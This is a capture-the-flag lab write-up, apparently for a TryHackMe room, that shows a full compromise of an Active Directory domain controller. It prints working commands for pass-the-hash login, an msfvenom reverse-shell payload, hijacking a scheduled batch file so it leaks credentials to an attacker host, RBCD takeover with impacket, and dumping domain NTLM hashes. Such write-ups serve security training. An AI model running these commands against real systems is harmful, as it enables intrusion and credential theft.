K2 3

Challenge: K2 Summit

We are nearing the summit! Above us we can see the infamous Bottleneck, many legendary mountaineers final destination. The seracs overhanging the couloir are gazing at us in majestic serenity. We havent felt this elated since our attempt at summiting GònggÑ Shān.

Let's start with an AutoRecon against our target IP: 10.10.210.50

Nmap scan report for 10.10.210.50
Host is up, received user-set (0.021s latency).
Scanned at 2025-11-05 13:57:57 GMT for 212s
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-11-05 13:59:49Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: k2.thm0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: k2.thm0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: K2
|   NetBIOS_Domain_Name: K2
|   NetBIOS_Computer_Name: K2ROOTDC
|   DNS_Domain_Name: k2.thm
|   DNS_Computer_Name: K2RootDC.k2.thm
|   DNS_Tree_Name: k2.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2025-11-05T14:00:49+00:00
|_ssl-date: 2025-11-05T14:01:29+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=K2RootDC.k2.thm
| Issuer: commonName=K2RootDC.k2.thm
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49707/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49798/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Let's first try connecting to the main domain using the j.bold account we found in the previous exercises.

Using his original password or the administrator hash as password does not work so we proceed to just enumerating all of the users we found using Kerbrute.

user@kernel ~/t/b/k/t/r/10.10.210.50 [1]> kerbrute userenum --dc K2ROOTDC -d k2.thm user.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 11/05/25 - Ronnie Flathers @ropnop

2025/11/05 14:28:46 >  Using KDC(s):
2025/11/05 14:28:46 >      K2ROOTDC:88

2025/11/05 14:28:46 >  [+] VALID USERNAME:     j.smith@k2.thm
2025/11/05 14:28:46 >  Done! Tested 3 usernames (1 valid) in 0.075 seconds

Let's try logging in using the password we have for Smith and the administrator hash we found earlier.

user@kernel ~/t/b/k/t/r/10.10.210.50> evil-winrm -i K2RootDC.k2.thm -u 'j.smith' -H "9545b61858c043477c350ae86c37b32f"

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\j.smith\Documents> 

We check permissions for the backup.bat as well as the Scripts folder itself.

*Evil-WinRM* PS C:\Scripts> icacls backup.bat
backup.bat NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           BUILTIN\Users:(I)(RX)
           K2\o.armstrong:(I)(F)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Scripts> cd ..
*Evil-WinRM* PS C:\> icacls Scripts
Scripts K2\j.smith:(F)
        K2\o.armstrong:(F)
        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
        BUILTIN\Administrators:(I)(OI)(CI)(F)
        BUILTIN\Users:(I)(OI)(CI)(RX)
        BUILTIN\Users:(I)(CI)(AD)
        BUILTIN\Users:(I)(CI)(WD)
        CREATOR OWNER:(I)(OI)(CI)(IO)(F)

We find that we do have full control over the Scripts folder, so let's upload a reverse shell and give it the same name as the backup.bat.

msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 --platform windows -f exe > door.exe
*Evil-WinRM* PS C:\Scripts> upload door.exe

Info: Uploading /home/azure/10.10.10.10/door.exe to C:\Scripts\door.exe

Data: 9556 bytes of 9556 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Scripts> mv door.exe C:\Windows\system32\tasks\door.exe

Now we remove the existing backup.bat and create a new one, pointing it at our reverse shell.

Set-Content -Path "C:\Scripts\backup.bat" -Value "C:\Windows\System32\Tasks\door.exe 10.10.10.10 4444 -e powershell"

And grant the reverse shell the correct permissions using:

icacls C:\Windows\System32\Tasks\door.exe /grant Everyone:F
Successfully processed 1 files; Failed processing 0 files

This method however is rather slow, and since we do not even truly need a shell but are mainly interested in the user hash, let's use a different method.

user@kernel ~/t/b/k/t/r/10.10.10.50> cat backup.bat
copy C:\Users\o.armstrong\Desktop\notes.txt C:\Users\o.armstrong\Documents\backup_notes.txt
net use \\10.11.146.206\dne 

We add the last line to the backup.bat file and start Responder.

user@kernel ~/t/b/k/t/r/1/scans> sudo responder -I tun0
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2023-05-30T01:37:08.1654932</Date>
    <Author>K2\Administrator</Author>
    <URI>\Notes Backup</URI>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <Duration>P1D</Duration>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2023-05-30T01:26:45</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>LeastPrivilege</RunLevel>
      <UserId>o.armstrong</UserId>
      <LogonType>Password</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Scripts\backup.bat</Command>
    </Exec>
  </Actions>
</Task>

Above we can see the information regarding the execution environment of the actual task, which is located inside of C:\Windows\system32\tasks.

We retrieve the hash and crack the password using Hashcat. Subsequently we login as the o.armstrong user and retrieve our user flag. Let's now run bloodhound-python trying to find an exploitation path using this user.

bloodhound-python -c all -u o.armstrong -p 'pass' -d k2.thm -dc K2RootDC.k2.thm -ns 10.10.124.173

We find that o.armstrong is a member of the IT Director group and its members have the GenericWrite permission on the DC.

This means that we can perform Computer Object Takeover, for more information about this kind of exploitation have a read [here](Resource-based Constrained Delegation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation).

  1. First we add a computer for the given domain.
impacket-addcomputer -computer-name 'ETHERDRAKE$' -computer-pass 'Password123!' -dc-host K2RootDC.k2.thm -domain-netbios k2.thm k2.thm/o.armstrong:'PASSWORD'
  1. Now we perform the second step. In resource-based constrained delegation we set the object who is able to impersonate any user against it
impacket-rbcd -delegate-from 'ETHERDRAKE$' -delegate-to 'K2RootDC$' -dc-ip 10.10.24.2 -action 'write' 'k2.thm/o.armstrong:arMStronG08'
Click for a detailed breakdown of the impacket-rbcd command ### `impacket-rbcd` **What it is:** The Impacket tool used to manipulate the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on an Active Directory computer object. **Source Reference:** The "Linux tooling: end-to-end RBCD with Impacket (2024+)" section details its use. --- ### `-delegate-from 'ETHERDRAKE$'` **What it does:** This specifies the account that will be **granted** the delegation rights. `ETHERDRAKE$` is the computer account the attacker controls (either by compromising it or creating it). In the HackTricks analogy, this is **"Service A"**. **Why it's important:** The attacker must have the credentials for this account to perform the final S4U attack after this RBCD setup is complete. --- ### `-delegate-to 'K2RootDC$'` **What it does:** This specifies the **target** computer object whose permissions are being modified. `K2RootDC$` is the victim machine (in this case, likely a Domain Controller, which is a high-value target). In the HackTricks analogy, this is **"Service B"**. **Why it's important:** This is the machine the attacker ultimately wants to gain access to. By running this command, they are essentially telling `K2RootDC$`, "Trust any service requests coming from `ETHERDRAKE$`." --- ### `-dc-ip 10.10.124.173` **What it does:** This specifies the IP address of the Domain Controller. The tool connects to the DC over LDAP to make the change in Active Directory. **Why it's important:** All changes to AD objects must be made through a Domain Controller. --- ### `-action 'write'` **What it does:** This tells `impacket-rbcd` what operation to perform. The `write` action sets or overwrites the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on the `-delegate-to` object (`K2RootDC$`), with the `-delegate-from` account (`ETHERDRAKE$`) inside the security descriptor. **Source Reference:** As the source states, "-action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity". --- ### `'k2.thm/o.armstrong:arMStronG08'` **What it does:** These are the credentials the tool uses to authenticate to the domain and perform the modification. - `k2.thm`: The domain. - `o.armstrong`: The username. - `arMStronG08`: The password. **Why it's important (The Critical Prerequisite):** For the `-action 'write'` to succeed, the `o.armstrong` account **must have write-level permissions over the `K2RootDC$` computer object** in Active Directory. As the HackTricks source also explains: > "any user with write permissions over a machine account (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) can set the msDS-AllowedToActOnBehalfOfOtherIdentity".
  1. Now we obtain the Kerberos ticket while impersonating Administrator.
β”Œβ”€β”€(userγ‰Ώkernel)-[~/tryhackme/boxes/k2/two/results/10.10.42.107]
└─$ impacket-getST -spn 'cifs/K2RootDC.k2.thm' -impersonate Administrator -dc-ip 10.10.24.2 k2.thm/ETHERDRAKE$:'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_K2RootDC.k2.thm@K2.THM.ccache
  1. Set the enviroment variable for use with Impacket
export KRB5CCNAME=Administrator@cifs_K2RootDC.k2.thm@K2.THM.ccache

And finally we now dump the NTLM hashes from the domain-controller using

impacket-secretsdump 'k2.thm/Administrator@K2RootDC.k2.thm' -k -no-pass -dc-ip 10.10.24.2 -target-ip 10.10.24.2 -just-dc-ntlm
└─$ impacket-secretsdump 'k2.thm/Administrator@K2RootDC.k2.thm' -k -no-pass -dc-ip 10.10.24.2 -target-ip 10.10.24.2 -just-dc-ntlm
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ADMIN_HASH:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5dea71ff019233bdca7ec46510727632:::
j.smith:1111:aad3b435b51404eeaad3b435b51404ee:9545b61858c043477c350ae86c37b32f:::
o.armstrong:1113:aad3b435b51404eeaad3b435b51404ee:6cc089ba579e04d4f44a468b6ad1c409:::
K2ROOTDC$:1008:aad3b435b51404eeaad3b435b51404ee:034f22f44f81ab875589d54e3e491413:::
ETHERDRAKE$:1116:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Cleaning up... 

Which leaves us with the final command to gain root.

evil-winrm -i K2RootDC.k2.thm -u 'Administrator' -H ADMIN_HASH